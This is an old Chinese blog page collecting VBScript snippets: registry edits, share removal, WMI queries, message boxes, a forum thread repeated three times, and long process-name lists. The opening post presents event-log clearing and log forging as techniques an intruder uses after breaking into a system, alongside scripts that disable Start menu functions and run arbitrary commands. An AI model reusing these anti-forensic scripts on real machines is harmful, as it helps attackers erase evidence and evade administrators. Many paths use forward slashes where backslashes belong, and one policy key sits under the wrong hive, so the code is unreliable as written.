一个离开.NET的程序员

ryhan

  博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理
1 VBS
 
 VBS脚本病毒的大量流行使我们对VBS的功能有了一个全新的认识,现在大家对它也开始重视起来。VBS代码在本地是通过Windows Script Host(WSH)解释执行的。VBS脚本的执行离不开WSH,WSH是微软提供的一种基于32位Windows平台的、与语言无关的脚本解释机制,它使得脚本能够直接在Windows桌面或命令提示符下运行。利用WSH,用户能够操纵WSH对象、ActiveX对象、注册表和文件系统。在Windows 2000下,还可用WSH来访问Windows NT活动目录服务。 

  用VBS编写的脚本程序在窗口界面是由wscript.exe文件解释执行的,在字符界面由cscript.exe文件解释执行。wscript.exe是一个脚本语言解释器,正是它使得脚本可以被执行,就象执行批处理一样。关于VBS大家一定比我熟悉多了,所以再不废话,直接进入主题,看看我总结的VBS在系统安全中的八则妙用吧。 

  一、给注册表编辑器解锁 

  用记事本编辑如下内容: 

DIM WSH 
SET WSH=WSCRIPT.CreateObject("WSCRIPT.SHELL") ’击活WScript.Shell对象 
WSH.POPUP("解锁注册表编辑器!") 
’显示弹出信息“解锁注册表编辑器!” 
WSH.Regwrite"HKCU/Software/Microsoft/Windows/CurrentVersion 
/Policies/System/DisableRegistryTools",0,"REG_DWORD" 
’给注册表编辑器解锁 
WSH.POPUP("注册表解锁成功!") 
’显示弹出信息“注册表解锁成功!” 
保存为以.vbs为扩展名的文件,使用时双击即可。 

  二、关闭Win NT/2000的默认共享 

  用记事本编辑如下内容:  

Dim WSHShell’定义变量 
set WSHShell=CreateObject("WScript.shell") ’创建一个能与操作系统沟通的对象WSHShell 
Dim fso,dc 
Set fso=CreateObject("Scripting.FileSystemObject")’创建文件系统对象  
set dc=fso.Drives ’获取所有驱动器盘符 
For Each d in dc  
Dim str  
WSHShell.run("net share"&d.driveletter &"$ /delete")’关闭所有驱动器的隐藏共享 
next  
WSHShell.run("net share admin$ /delete") 
WSHShell.run("net share ipc$ /delete")’关闭admin$和ipc$管道共享 

  现在来测试一下,先打开cmd.exe,输入net share命令就可以看到自己机子上的共享。双击执行stopshare.vbs后,会看见窗口一闪而过。然后再在cmd里输入net share命令,这时候没有发现共享列表了 

  三、显示本机IP地址 

  有许多时候,我们需要知道本机的IP地址,使用各种软件虽然可以办到,但用VBS脚本也非常的方便。用记事本编辑如下内容: 

Dim WS 
Set WS=CreateObject("MSWinsock.Winsock") 
IPAddress=WS.LocalIP 
MsgBox "Local IP=" & IPAddress 

  将上面的内容保存为ShowIP.vbs,双击执行即可得到本机IP地址。 

  四、利用脚本编程删除日志 

  入侵系统成功后黑客做的第一件事便是清除日志,如果以图形界面远程控制对方机器或是从终端登陆进入,删除日志不是一件困难的事,由于日志虽然也是作为一种服务运行,但不同于http,ftp这样的服务,可以在命令行下先停止,再删除,在命令行下用net stop eventlog是不能停止的,所以有人认为在命令行下删除日志是很困难的,实际上不是这样,比方说利用脚本编程中的VMI就可以删除日志,而且非常的简单方便。源代码如下: 

strComputer= "." 
Set objWMIService = GetObject("winmgmts:" _ 
& "{impersonationLevel=impersonate,(Backup)}!//" & _ 
strComputer & "/root/cimv2") 
dim mylogs(3) 
mylogs(1)="application" 
mylogs(2)="system" 
mylogs(3)="security" 
for Each logs in mylogs 
Set colLogFiles=objWMIService.ExecQuery _ 
("Select * from Win32_NTEventLogFile where LogFileName=’"&logs&"’") 
For Each objLogfile in colLogFiles  
objLogFile.ClearEventLog()  
   
  作者: 61.142.212.*  2005-10-2 16:47   回复此发言  
 
2 VBS
 
Next 
next 

  将上面的代码保存为cleanevent.vbs文件即可。在上面的代码中,首先获得object对象,然后利用其clearEventLog()方法删除日志。建立一个数组,application,security,system,如果还有其他日志也可以加入数组。然后用一个for循环,删除数组中的每一个元素,即各个日志。 

  五、利用脚本伪造日志 

  删除日志后,任何一个有头脑的管理员面对空空的日志,马上就会反应过来被入侵了,所以一个聪明的黑客的学会如何伪造日志。利用脚本编程中的eventlog方法创造日志非常简单,请看下面的代码: 

set ws=wscript.createobject("Wscript.shell") 
ws.logevent 0 ,"write log success" ’创建一个成功执行日志 

  将上面的代码保存为createlog.vbs即可。这段代码很容易理解,首先获得wscript的一个shell对象,然后利用shell对象的logevent方法。logevent的用法:logevent eventtype,"description" [,remote system],其中eventtype为日志类型,可以使用的参数如下:0代表成功执行,1执行出错,2警告,4信息,8成功审计,16故障审计。所以上面代码中,把0改为1,2,4,8,16均可,引号中的内容为日志描述。利用这种方法写的日志有一个缺点,即只能写到应用程序日志,而且日志来源只能为WSH,即Windows Scripting Host,所以不能起太多的隐蔽作用,在此仅供大家参考。 

  六、禁用开始菜单选项 

  用记事本编辑如下内容: 

Dim ChangeStartMenu  
Set ChangeStartMenu=WScript.CreateObject("WScript.Shell")  
RegPath="HKCR/Software/Microsoft/Windows/CurrentVersion/Policies/"  
Type_Name="REG_DWORD"  
Key_Data=1  
   
StartMenu_Run="NoRun"  
StartMenu_Find="NoFind"  
StartMenu_Close="NoClose"  
   
Sub Change(Argument)  
ChangeStartMenu.RegWrite RegPath&Argument,Key_Data,Type_Name  
MsgBox("Success!")  
End Sub  
   
Call Change(StartMenu_Run) ’禁用“开始”菜单中的“运行”功能  
Call Change(StartMenu_Find) ’禁用“开始”菜单中的“查找”功能  
Call Change(StartMenu_Close) ’禁用“开始”菜单中的“关闭系统”功能 

  将以上代码保存为ChangeStartMenu.vbs文件,使用时双击即可。 

  七、执行外部程序 

  用记事本编辑如下内容: 

DIM objShell 
set objShell=wscript.createObject("wscript.shell") 
iReturn=objShell.Run("cmd.exe /C set var=world", 1, TRUE) 

  保存为.vbs文件即可。在这段代码中,我们首先设置了一个环境变量,其名为var,而值为world,用户可以使用%Comspec%来代替cmd.exe,并且可以把命令:set var=world改成其它的命令,这样就可以使它可以运行任意的命令。 

  八、重新启动指定的IIS服务 

  用记事本编辑如下内容: 

Const ADS_SERVICE_STOPPED = 1 
Set objComputer = GetObject("WinNT://MYCOMPUTER,computer") 
Set objService = objComputer.GetObject("Service","MYSERVICE") 
If (objService.Status = ADS_SERVICE_STOPPED) Then 
objService.Start 
End If 

  将它以startsvc.vbs为名保存在C盘根目录。并通过如下命令执行:cscript c:/startsvc.vbs。运行后,经你指定的IIS服务项将被重新开启。 

  最后,我们再说说开篇时提到的VBS脚本病毒的防范方法。VBS病毒的执行离不开WSH,在带给人们便利的同时,WSH也为病毒的传播留下可乘之机。所以要想防范VBS病毒,可以选择将WSH卸载,只要打开控制面板,找到“添加/删除程序”,点选“Windows安装程序”,再鼠标双击其中的“附件”一项,然后再在打开的窗口中将“Windows Scripting Host”一项的“√”去掉,然后连续点两次“确定”就可以将WSH卸载。或者,你也可以点击“我的电脑”→“查看”→“文件夹选项”,在弹出的对话框中,点击“文件类型”,然后删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射,都可以达到防范VBS脚本病毒的目的。  
   
  作者: 61.142.212.*  2005-10-2 16:47   回复此发言  
 
3 如何确定哪些 USB 设备已连接到计算机上?
 
strComputer = "."

Set objWMIService = GetObject("winmgmts://" & strComputer & "/root/cimv2")
Set colDevices = objWMIService.ExecQuery _
 ("Select * From Win32_USBControllerDevice")

For Each objDevice in colDevices
 strDeviceName = objDevice.Dependent
 strQuotes = Chr(34)
 strDeviceName = Replace(strDeviceName, strQuotes, "")
 arrDeviceNames = Split(strDeviceName, "=")
 strDeviceName = arrDeviceNames(1)
 Set colUSBDevices = objWMIService.ExecQuery _
 ("Select * From Win32_PnPEntity Where DeviceID = '" & strDeviceName & "'")
 For Each objUSBDevice in colUSBDevices
 Wscript.Echo objUSBDevice.Description
 Next 
Next
   
  作者: 61.142.212.*  2005-10-2 23:04   回复此发言  
 
4 如何在指定的一段时间后自动消除消息框?
 
Const wshYes = 6
Const wshNo = 7
Const wshYesNoDialog = 4
Const wshQuestionMark = 32

Set objShell = CreateObject("Wscript.Shell")

intReturn = objShell.Popup("Do you want to delete this file?", _
 10, "Delete File", wshYesNoDialog + wshQuestionMark)

If intReturn = wshYes Then
 Wscript.Echo "You clicked the Yes button."
ElseIf intReturn = wshNo Then
 Wscript.Echo "You clicked the No button."
Else
 Wscript.Echo "The popup timed out."
End If
   
  作者: 61.142.212.*  2005-10-2 23:05   回复此发言  
 
5 回复 4:如何在指定的一段时间后自动消除消息框?
 
Const wshYes = 6
Const wshNo = 7
Const wshYesNoDialog = 4
Const wshQuestionMark = 32

Set objShell = CreateObject("Wscript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")

intReturn = objShell.Popup("Do you want to delete this file?", _
 10, "Delete File", wshYesNoDialog + wshQuestionMark)

If intReturn = wshNo Then
 Wscript.Quit
End If

objFSO.DeleteFile("c:/scripts/test.vbs")
   
  作者: 61.142.212.*  2005-10-2 23:06   回复此发言  
 
6 回复:VBS
 
http://www.microsoft.com/china/technet/community/scriptcenter/resources/qanda/default.mspx
   
  作者: 61.142.212.*  2005-10-2 23:07   回复此发言  
 
7 如何在脚本中使用多选对话框?
 
Set objDialog = CreateObject("UserAccounts.CommonDialog")
objDialog.Filter = "VBScript Scripts|*.vbs|All Files|*.*"
objDialog.Flags = &H0200
objDialog.FilterIndex = 1
objDialog.InitialDir = "C:/Scripts"
intResult = objDialog.ShowOpen
If intResult = 0 Then
 Wscript.Quit
Else
 arrFiles = Split(objDialog.FileName, " ")
 For i = 1 to Ubound(arrFiles)
 strFile = arrFiles(0) & arrFiles(i)
 Wscript.Echo strFile
 Next
End If
   
  作者: 61.142.212.*  2005-10-2 23:13   回复此发言  
 
8 如何确定计算机上是否存在某个文件夹?
 
Set objNetwork = CreateObject("Wscript.Network")
strUser = objNetwork.UserName

strPath = "C:/Documents and Settings/" & strUser & "/Application Data/Microsoft/Templates"

Set objFSO = CreateObject("Scripting.FileSystemObject")

If objFSO.FolderExists(strPath) Then
 Wscript.Echo "The folder exists."
Else
 Wscript.Echo "The folder does not exist."
End If
   
  作者: 61.142.212.*  2005-10-2 23:14   回复此发言  
 
9 如何列出文件夹及其所有子文件夹中的文件?
 
strComputer = "."
Set objWMIService = GetObject("winmgmts://" & strComputer & "/root/cimv2")

strFolderName = "c:/scripts"

Set colSubfolders = objWMIService.ExecQuery _
 ("Associators of {Win32_Directory.Name='" & strFolderName & "'} " _
 & "Where AssocClass = Win32_Subdirectory " _
 & "ResultRole = PartComponent")

For Each objFolder in colSubfolders
 GetSubFolders strFolderName
Next

Sub GetSubFolders(strFolderName)
 Set colSubfolders2 = objWMIService.ExecQuery _
 ("Associators of {Win32_Directory.Name='" & strFolderName & "'} " _
 & "Where AssocClass = Win32_Subdirectory " _
 & "ResultRole = PartComponent")

 For Each objFolder2 in colSubfolders2
 strFolderName = objFolder2.Name
 Wscript.Echo objFolder2.Name
 GetSubFolders strFolderName
 Next
End Sub
   
  作者: 61.142.212.*  2005-10-2 23:17   回复此发言  
 
10 回复 9:如何列出文件夹及其所有子文件夹中的文件?
 
strComputer = "."
Set objWMIService = GetObject("winmgmts://" & strComputer & "/root/cimv2")

strFolderName = "c:/scripts"

Set colSubfolders = objWMIService.ExecQuery _
 ("Associators of {Win32_Directory.Name='" & strFolderName & "'} " _
 & "Where AssocClass = Win32_Subdirectory " _
 & "ResultRole = PartComponent")

Wscript.Echo strFolderName

arrFolderPath = Split(strFolderName, "/")
strNewPath = ""
For i = 1 to Ubound(arrFolderPath)
 strNewPath = strNewPath & "//" & arrFolderPath(i)
Next
strPath = strNewPath & "//"
 
Set colFiles = objWMIService.ExecQuery _
 ("Select * from CIM_DataFile where Path = '" & strPath & "'")

For Each objFile in colFiles
 Wscript.Echo objFile.Name 
Next

For Each objFolder in colSubfolders
 GetSubFolders strFolderName
Next

Sub GetSubFolders(strFolderName)
 Set colSubfolders2 = objWMIService.ExecQuery _
 ("Associators of {Win32_Directory.Name='" & strFolderName & "'} " _
 & "Where AssocClass = Win32_Subdirectory " _
 & "ResultRole = PartComponent")

 For Each objFolder2 in colSubfolders2
 strFolderName = objFolder2.Name
 Wscript.Echo
 Wscript.Echo objFolder2.Name
 arrFolderPath = Split(strFolderName, "/")
 strNewPath = ""
 For i = 1 to Ubound(arrFolderPath)
 strNewPath = strNewPath & "//" & arrFolderPath(i)
 Next
 strPath = strNewPath & "//"
 
 Set colFiles = objWMIService.ExecQuery _
 ("Select * from CIM_DataFile where Path = '" & strPath & "'")

 For Each objFile in colFiles
 Wscript.Echo objFile.Name 
 Next

 GetSubFolders strFolderName
 Next
End Sub
   
  作者: 61.142.212.*  2005-10-2 23:18   回复此发言  
 
11 如何在脚本播放一个声音?
 
strSoundFile = "C:/Windows/Media/Notify.wav"
Set objShell = CreateObject("Wscript.Shell")
strCommand = "sndrec32 /play /close " & chr(34) & strSoundFile & chr(34)
objShell.Run strCommand, 0, True
   
  作者: 61.142.212.*  2005-10-2 23:23   回复此发言  
 
12 如何在消息框中显示一个超链接?
 
Set objShell = CreateObject("Wscript.Shell")

intMessage = Msgbox("Would you like to apply for access to this resource?", _
 vbYesNo, "Access Denied")

If intMessage = vbYes Then
 objShell.Run("http://www.microsoft.com")
Else
 Wscript.Quit
End If
   
  作者: 61.142.212.*  2005-10-2 23:28   回复此发言  
 
13 如何创建Wscript对象呢?
 
我想使用asp启动服务器端的notepad,下面是msdn里面的一个例子

 Example
 ' This fragment launches Notepad with the current executed script
 Set WshShell = Wscript.CreateObject("Wscript.Shell")
 WshShell.Run ("notepad " & Wscript.ScriptFullName)
 WshShell.Run ("windir/notepad" & Wscript.ScriptFullName)

然而出现了下面的一个错误提示
 Error Type:
 Microsoft VBScript runtime (0x800A01A8)
 Object required: 'Wscript'

是不是我还要建立wscript的对象还是别的原因呢?
希望能得到大家的指点。

 
 回复人: chikin(饭饭) ( ) 信誉:81 2003-04-27 09:34:16Z 得分:0 
 
 

大家帮帮忙吧

 
Top 
 
 回复人: net_lover(孟子E章) ( ) 信誉:847 2003-04-27 09:38:29Z 得分:0 
 
 

Set WshShell = Server.CreateObject("Wscript.Shell")

 
Top 
 
 回复人: net_lover(孟子E章) ( ) 信誉:847 2003-04-27 09:39:32Z 得分:0 
 
 

<script language=vbscript>
Set WshShell = CreateObject("Wscript.Shell")
WshShell.Run ("notepad")
</script>

 
Top 
 
 回复人: chikin(饭饭) ( ) 信誉:81 2003-04-27 09:52:32Z 得分:0 
 
 

您好,我的浏览器的提示是
ActiveX component can't create the object 'wscript.shell'

我例子上面也用同样方法来建立那个wscript对象。
但也是不行,是不是服务器又要设置什么的,我的是英文版的xp+iis

btw:这种方法是用来启动Server还是Client的程序的呢?

 
Top 
 
 回复人: chikin(饭饭) ( ) 信誉:81 2003-04-27 10:01:22Z 得分:0 
 
 

我把internet options里面的Security的initilize and script Activex controls not marked as safe 设为了Enable之后就可以运行了。

但那就是说只是启动了Client端的程序,而不能启动Server端的程序了?


 
 
主  题: 如何创建Wscript对象呢?
 
 
 
 

我想使用asp启动服务器端的notepad,下面是msdn里面的一个例子

 Example
 ' This fragment launches Notepad with the current executed script
 Set WshShell = Wscript.CreateObject("Wscript.Shell")
 WshShell.Run ("notepad " & Wscript.ScriptFullName)
 WshShell.Run ("windir/notepad" & Wscript.ScriptFullName)

然而出现了下面的一个错误提示
 Error Type:
 Microsoft VBScript runtime (0x800A01A8)
 Object required: 'Wscript'

是不是我还要建立wscript的对象还是别的原因呢?
希望能得到大家的指点。

 
 回复人: chikin(饭饭) ( ) 信誉:81 2003-04-27 09:34:16Z 得分:0 
 
 

大家帮帮忙吧

 
Top 
 
 回复人: net_lover(孟子E章) ( ) 信誉:847 2003-04-27 09:38:29Z 得分:0 
 
 

Set WshShell = Server.CreateObject("Wscript.Shell")

 
Top 
 
 回复人: net_lover(孟子E章) ( ) 信誉:847 2003-04-27 09:39:32Z 得分:0 
 
 

<script language=vbscript>
Set WshShell = CreateObject("Wscript.Shell")
WshShell.Run ("notepad")
</script>

 
Top 
 
 回复人: chikin(饭饭) ( ) 信誉:81 2003-04-27 09:52:32Z 得分:0 
 
 

您好,我的浏览器的提示是
ActiveX component can't create the object 'wscript.shell'

我例子上面也用同样方法来建立那个wscript对象。
但也是不行,是不是服务器又要设置什么的,我的是英文版的xp+iis

btw:这种方法是用来启动Server还是Client的程序的呢?

 
Top 
 
 回复人: chikin(饭饭) ( ) 信誉:81 2003-04-27 10:01:22Z 得分:0 
 
 

我把internet options里面的Security的initilize and script Activex controls not marked as safe 设为了Enable之后就可以运行了。

但那就是说只是启动了Client端的程序,而不能启动Server端的程序了?


 
 
主  题: 如何创建Wscript对象呢?
 
 
 
 

我想使用asp启动服务器端的notepad,下面是msdn里面的一个例子

 Example
 ' This fragment launches Notepad with the current executed script
 Set WshShell = Wscript.CreateObject("Wscript.Shell")
 WshShell.Run ("notepad " & Wscript.ScriptFullName)
 WshShell.Run ("windir/notepad" & Wscript.ScriptFullName)

然而出现了下面的一个错误提示
 Error Type:
 Microsoft VBScript runtime (0x800A01A8)
 Object required: 'Wscript'

是不是我还要建立wscript的对象还是别的原因呢?
希望能得到大家的指点。

 
 回复人: chikin(饭饭) ( ) 信誉:81 2003-04-27 09:34:16Z 得分:0 
 
 

大家帮帮忙吧

 
Top 
 
 回复人: net_lover(孟子E章) ( ) 信誉:847 2003-04-27 09:38:29Z 得分:0 
 
 

Set WshShell = Server.CreateObject("Wscript.Shell")

 
Top 
 
 回复人: net_lover(孟子E章) ( ) 信誉:847 2003-04-27 09:39:32Z 得分:0 
 
 

<script language=vbscript>
Set WshShell = CreateObject("Wscript.Shell")
WshShell.Run ("notepad")
</script>

 
Top 
 
 回复人: chikin(饭饭) ( ) 信誉:81 2003-04-27 09:52:32Z 得分:0 
 
 

您好,我的浏览器的提示是
ActiveX component can't create the object 'wscript.shell'

我例子上面也用同样方法来建立那个wscript对象。
但也是不行,是不是服务器又要设置什么的,我的是英文版的xp+iis

btw:这种方法是用来启动Server还是Client的程序的呢?

 
Top 
 
 回复人: chikin(饭饭) ( ) 信誉:81 2003-04-27 10:01:22Z 得分:0 
 
 

我把internet options里面的Security的initilize and script Activex controls not marked as safe 设为了Enable之后就可以运行了。

但那就是说只是启动了Client端的程序,而不能启动Server端的程序了?
   
  作者: 61.142.212.*  2005-10-19 21:32   回复此发言  
 
14 进程知识库
 
进程知识库 

wscript - wscript.exe - 进程信息

进程文件: wscript 或者 wscript.exe
进程名称: Microsoft Windows Script Host
 
描述:
wscript.exe是微软Microsoft Windows操作系统脚本相关支持程序。

出品者: Microsoft Corp.
属于: Microsoft Windows Script Host

系统进程: 否
后台程序: 否
使用网络: 否
硬件相关: 否
常见错误: 未知N/A 
内存使用: 未知N/A 
安全等级 (0-5): 0
间谍软件: 否 
Adware: 否 
病毒: 否 
木马: 否 


应用程序进程列表

 Top Applications 
 [System Process] 000stthk.exe 1xconfig.exe 
 3dm2.exe AcctMgr.exe acrobat.exe 
 acrord32.exe acrotray.exe ACS.exe 
 acsd.exe adgjdet.exe AdobeUpdateManager.exe 
 adservice.exe adusermon.exe agent.exe 
 agrsmmsg.exe AgtServ.exe aim.exe 
 aim95.exe AIT alogserv.exe 
 anvshell.exe AOLacsd.exe AOLDial.exe 
 aom.exe apntex.exe apoint.exe 
 asfagent.exe ashWebSv.exe astart.exe 
 ati2evxx.exe ATIevxx.exe atiptaxx.exe 
 atrack.exe aupdate.exe autochk.exe 
 avconsol.exe AVENGINE.EXE avgserv.exe 
 avgupsvc.exe avgw.exe avpcc.exe 
 avsynmgr.exe backweb-137903.exe backweb-8876480.exe 
 bacstray.exe bcmsmmsg.exe blackd.exe 
 bpcpost.exe BRMFRSMG.EXE brss01a.exe 
 BRSVC01A.EXE bttnserv.exe ca.exe 
 calc.exe carpserv.exe CCAP.EXE 
 ccapp.exe ccevtmgr.exe ccproxy.exe 
 ccpxysvc.exe ccregvfy.exe cdac11ba.exe 
 cdantsrv.exe cdplayer.exe cfd.exe 
 cfgwiz.exe cftmon.exe charmap.exe 
 cleanup.exe cli.exe cmanager.exe 
 cmmpu.exe Companion.exe comsmd.exe 
 cpd.exe crypserv.exe crypserv.exe 
 cthelper.exe ctnotify.exe ctsvccda.exe 
 cvpnd.exe dadapp.exe dadtray.exe 
 damon.exe dap.exe DavCData.exe 
 dcfssvc.exe ddcman.exe defwatch.exe 
 delayrun.exe devenv.exe devldr.exe 
 devldr16.exe devldr32.exe dfrgntfs.exe 
 digstream.exe directcd.exe dit.exe 
 ditexp.exe dkservice.exe dlg.exe 
 dllcmd32.exe dmadmin.exe dpmw32.exe 
 dpps2.exe dragdiag.exe drwtsn32.exe 
 dsentry.exe dvzmsgr.exe dw.exe 
 dwrcs.exe dwwin.exe dxdllreg.exe 
 e_s10ic2.exe EasyShare.exe eausbkbd.exe 
 eEBSvc.exe em_exec.exe essspk.exe 
 evntsvc.exe excel.exe ezsp_px.exe 
 findfast.exe firedaemon.exe firefox.exe 
 flash.exe FrameworkService.exe full.exe 
 fxssvc.exe fxsvr2.exe gamechannel.exe 
 gbpoll.exe gcastdtserv.exe gcIPtoHostQueue.exe 
 gearsec.exe ghost_2.exe gwmdmmsg.exe 
 hc.exe helpctr.exe helper.exe 
 helpinst.exe hh.exe hijackthis.exe 
 hkcmd.exe hl.exe hndlrsvc.exe 
 hpcmpmgr.exe hpgs2wnd.exe hpgs2wnf.exe 
 hphmon05.exe hpoevm06.exe hpoevm08.exe 
 hpoevm09.exe hposts08.exe hpotdd01.exe 
 HPQTRA08.EXE hpsysdrv.exe hpzipm12.exe 
 hpztsb01.exe hpztsb02.exe hpztsb04.exe 
 hpztsb05.exe hpztsb06.exe hpztsb07.exe 
 hpztsb08.exe htpatch.exe iamapp.exe 
 iao.exe iap.exe icepack.exe 
 ico.exe icq.exe icwconn1.exe 
 ie5setup.exe ie6setup.exe igfxtray.exe 
 imgicon.exe InoRT.exe installstub.exe 
 instantaccess.exe ipmon32.exe iPodManager.exe 
 ipodservice.exe iPodWatcher.exe irmon.exe 
 isafe.exe issch.exe ISSVC.exe 
 isuspm.exe iTunesHelper.exe iw.exe 
 java.exe javaw.exe JDBGMGR.EXE 
 jusched.exe kav.exe kazaa.exe 
 kbd.exe KEM.exe khalmnpr.exe 
   
  作者: 61.142.212.*  2005-10-19 21:33   回复此发言  
 
19 其它进程列表
 
 createcd.exe createcd50.exe crsss.exe 
 csinject.exe csinsm32.exe csinsmnt.exe 
 Csrrs.exe csrsc.exe csrss32.exe 
 ct_load.exe ctbclick.exe ctdvddet.exe 
 cteaxspl.exe ctfmon32.exe ctrlvol.exe 
 ctsrreg.exe ctsysvol.exe cusrvc.exe 
 cuteftp.exe cutftp.exe cyb2k.exe 
 cygrunsrv.exe cz.exe d4.exe 
 daconfig.exe daemon.exe datalayer.exe 
 ddhelper32.exe de_serv.exe defscangui.exe 
 delldmi.exe dellmmkb.exe delmsbb.exe 
 desk98.exe DeskAdKeep.exe DeskAdServ.exe 
 dexplore.exe diagent.exe dialer.exe 
 directx.exe directxset.exe dla.exe 
 dlgli.exe dlt.exe dluca.exe 
 dmremote.exe dmxlauncher.exe dnar.exe 
 dnetc.exe dns.exe download.exe 
 downloadplus.exe dragdrop.exe dreamweaver.exe 
 drgtodsc.exe drivespeed.exe drvddll.exe 
 drvlsnr.exe DRWTSN16.EXE dsagnt.exe 
 dseraser.exe dslagent.exe dslmon.exe 
 dsnthapp.exe dsnthser.exe dvdlauncher.exe 
 DVDRegionFree.exe dvldr32.exe dvremind.exe 
 DWHeartbeatMonitor.exe DxDebugService.exe DXEnum.exe 
 dxnf.exe e-s0bic1.exe e_s0hic1.exe 
 e_srcv03.exe eabservr.exe EasyAV.exe 
 ebrr.exe edisk.exe edonkey.exe 
 ee.exe ehmsas.exe ehrec.exe 
 ehSched.exe ehshell.exe ehtray.exe 
 elbycheck.exe elccest.exe emule.exe 
 enbiei.exe encmontr.exe engutil.exe 
 ensmix32.exe enternet.exe essdc.exe 
 eudora.exe eusexe.exe EvtEng.exe 
 expl32.exe explorer32.exe explorere.exe 
 express.exe exshow95.exe ezejmnap.exe 
 ezulumain.exe fameh32.exe fan.exe 
 farmmext.exe fastdown.exe faxsvc.exe 
 fbdirect.exe fc.exe fch32.exe 
 fgadmin.exe fih32.exe finder.exe 
 flashfxp.exe flashksk.exe flatbed.exe 
 fnrb32.exe FONTVIEW.EXE forte.exe 
 fpdisp4.exe fpxpress.exe frameworkservic.exe 
 freedom.exe frontpage.exe frsk.exe 
 fs20.exe fsaa.exe fsav32.exe 
 fsbwlan.exe fsdfwd.exe fsg.exe 
 fsg_3202.exe fsgk32.exe fsgk32st.exe 
 fsm32.exe fsma32.exe fsmb32.exe 
 fsscrctl.exe fssm32.exe fsw.exe 
 ftpte.exe fts.exe fwenc.exe 
 fxredir.exe gah95on6.exe gain_trickler_3202.exe 
 gbtray.exe gcASCleaner.exe gcasDtServ.exe 
 gcasInstallHelper.exe gcASNotice.exe gcasServ.exe 
 gcasServAlert.exe gcasSWUpdater.exe gdonkey.exe 
 gesfm32.exe gfxacc.exe Ghostexp.exe 
 GHOSTS_2.EXE ghoststartservice.exe ghoststarttrayapp.exe 
 giantantispywaremain.exe GIANTAntiSpywareUpdater.exe gnetmous.exe 
 gnotify.exe go.exe GoogleDesktop.exe 
 gozilla.exe gra.exe graph.exe 
 GrpWise.exe gsicon.exe gstartup.exe 
 gtwatch.exe gwmdmpi.exe gwsystemservice.exe 
 hcontrol.exe helpexp.exe HelpHost.exe 
 helpsvc.exe hhw.exe hidden32.exe 
 hjym.exe hkserv.exe hkss.exe 
 hkwnd.exe hotkeyapp.exe hotsync.exe 
 hottray.exe hpbpro.exe hpdrv.exe 
 hphmon03.exe hphmon04.exe hphmon06.exe 
 hphupd04.exe hphupd05.exe hphupd06.exe 
 hpnra.exe hpobnz08.exe hpoddt01.exe 
 hpodev07.exe hpoevm07.exe hpohmr08.exe 
 hpoopm07.exe hposol08.exe hpqcmon.exe 
 hpqgalry.exe hpsjvxd.exe hpwuschd.exe 
 HPWuSchd2.exe hpzstatn.exe hpztsb03.exe 
 hpztsb09.exe hpztsb10.exe htmdeng.exe 
 hypertrm.exe i8kfangui.exe iaanotif.exe 
 iaantmon.exe ibmpmsvc.exe iconfig.exe 
 icqlite.exe icsmgr.exe icwconn2.exe 
   
  作者: 61.142.212.*  2005-10-19 21:35   回复此发言  
 
20 其它进程列表
 
 icwtutor.exe iexpiore.exe iexplore32.exe 
 iFrmewrk.exe igfxsrvc.dll ImageDrive.exe 
 IMApp.exe IMEKRMIG.EXE imjpmig.exe 
 imonnt.exe imontray.exe imscinst.exe 
 incd.exe InCDsrv.exe IncMail.exe 
 incredimail.exe inetd32.exe InfoTool.exe 
 inicio.exe initsdk.exe inotask.exe 
 IntelMEM.exe internet.exe ipclient.exe 
 ipssvc.exe ireike.exe isignup.exe 
 islp2sta.exe ismserv.exe isstart.exe 
 itouch.exe iwctrl.exe ixapplet.exe 
 JAMMER2ND.EXE javaws.exe jetcar.exe 
 jucheck.exe jushed.exe jushed32.exe 
 kavsvc.exe kazaalite.exe KB891711.EXE 
 kencapi.exe kencli.exe kencron.exe 
 kendns.exe kenftpgw.exe keninet.exe 
 kenmail.exe kenmap.exe kenproxy.exe 
 kenserv.exe kensocks.exe kentbcli.exe 
 kernal32.exe keyhook.exe keylogger.exe 
 keyword.exe KHALMNPR.exe khooker.exe 
 kmw_run.exe kodakccs.exe kodakimage.exe 
 kodakprv.exe kodorjan.exe kpf4gui.exe 
 lao.exe launch.exe launchap.exe 
 launcher.exe launchpd.exe leerlaufprozess 
 lexplore.exe lexstart.exe lights.exe 
 lmgrd.exe lmpdpsrv.exe load32.exe 
 logitray.exe logon.exe lorena.exe 
 LSAS.exe Lsass32.exe lsassa.exe 
 lsasss.exe lsserv.exe ltcm000c.exe 
 ltdmgr.exe ltmoh.exe ltmsg.exe 
 lxdboxcp.exe main.exe mainserv.exe 
 manager.exe mapiicon.exe master.exe 
 matcli.exe mathchk.exe mbm4.exe 
 mbm5.exe mc.exe mcagent.exe 
 mcappins.exe mcdlc.exe McEPOC.exe 
 McEPOCfg.exe mcinfo.exe mcmnhdlr.exe 
 mcpalmcfg.exe mcpserver.exe mcupdate.exe 
 mcvsshld.exe McWCE.exe McWCECfg.exe 
 mediaaccess.exe MediaAccK.exe mediaman.exe 
 mediapass.exe mediapassk.exe members-area.exe 
 memorymeter.exe messenger.exe mgactrl.exe 
 mgaqdesk.exe mgasc.exe mgavrtcl.exe 
 mgui.exe mhotkey.exe microsoft.exe 
 mim.exe minibug.exe minilog.exe 
 mirc.exe MIRC32.exe mm_server.exe 
 mmdiag.exe mmtray.exe mmtray2k.exe 
 mmtraylsi.exe mmups.exe mmusbkb2.exe 
 mnsvc.exe mnyexpr.exe monitor.exe 
 monitr32.exe morpheus.exe moviemk.exe 
 movieplace.exe Mozilla.exe mp3serch.exe 
 mpbtn.exe mpf.exe mpfagent.exe 
 mpfservice.exe mpftray.exe mpservic.exe 
 mpsetup.exe mqtgsvc.exe msaccess.exe 
 msams.exe msc32.exe mscifapp.exe 
 mscnsz.exe mscommand.exe msconfig32.exe 
 mscvb32.exe MSD.EXE mse7.exe 
 msg32.exe msgloop.exe msgplus.exe 
 mskagent.exe msmgs.exe msndc.exe 
 MSNIASVC.EXE msoffice.exe mspmspv.exe 
 mspub.exe msqry32.exe msscli.exe 
 mssearch.exe msstat.exe mssvr.exe 
 mstore.exe MSupdate.exe msvcmm32.exe 
 mtx.exe muamgr.exe musirc4.71.exe 
 mwd.exe mxoaldr.exe mxtask.exe 
 myfastupdate.exe mysqld-nt.exe nail.exe 
 naimag32.exe navapp.exe nbj.exe 
 nbr.exe nclaunch.exe nddeagnt.exe 
 NDSTray.exe neo.exe neoCapture.exe 
 neoCopy.exe neoDVD.exe neoDVDstd.exe 
